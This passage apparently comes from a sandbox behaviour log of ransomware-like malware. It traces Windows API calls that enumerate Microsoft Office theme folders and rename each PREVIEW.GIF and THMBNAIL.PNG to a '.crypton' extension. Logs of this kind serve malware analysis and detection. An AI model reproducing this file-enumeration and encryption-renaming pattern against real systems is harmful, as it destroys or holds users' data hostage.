lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0072.625] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0072.625] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0072.625] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0072.625] CloseHandle (hObject=0x198) returned 1 [0072.630] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa8a72d80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa8a72d80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3f000837, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0072.630] GetFileType (hFile=0x198) returned 0x1 [0073.031] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa8e2afe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa8e2afe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.037] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa8e51140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa8e51140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3f000837, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0073.042] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa8e51140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa8e51140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.046] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.062] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.065] GetFileType (hFile=0x198) returned 0x1 [0073.073] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa8e9d400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa8e9d400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.077] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.090] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.091] GetFileType (hFile=0x198) returned 0x1 [0073.097] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa8ee96c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa8ee96c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.100] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.120] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.122] GetFileType (hFile=0x198) returned 0x1 [0073.126] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa8f0f820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa8f0f820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.132] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.145] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.150] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa8f5bae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa8f5bae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.152] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.170] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.184] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa8fa7da0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa8fa7da0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.187] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.202] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.210] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa8ff4060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa8ff4060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.213] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.231] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.233] GetFileType (hFile=0x198) returned 0x1 [0073.238] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa9040320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9040320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.241] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.269] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.271] GetFileType (hFile=0x198) returned 0x1 [0073.275] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa908c5e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa908c5e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.277] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.295] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.300] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa90d88a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa90d88a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.304] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.320] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.331] GetFileType (hFile=0x198) returned 0x1 [0073.353] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa914acc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa914acc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.356] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.368] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.370] GetFileType (hFile=0x198) returned 0x1 [0073.374] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa9170e20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9170e20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.376] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.389] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.394] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa91bd0e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa91bd0e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.397] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.413] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.418] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa91e3240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa91e3240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.422] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.440] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.442] GetFileType (hFile=0x198) returned 0x1 [0073.447] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa922f500, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa922f500, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.449] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.466] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.468] GetFileType (hFile=0x198) returned 0x1 [0073.472] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa927b7c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa927b7c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.475] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), 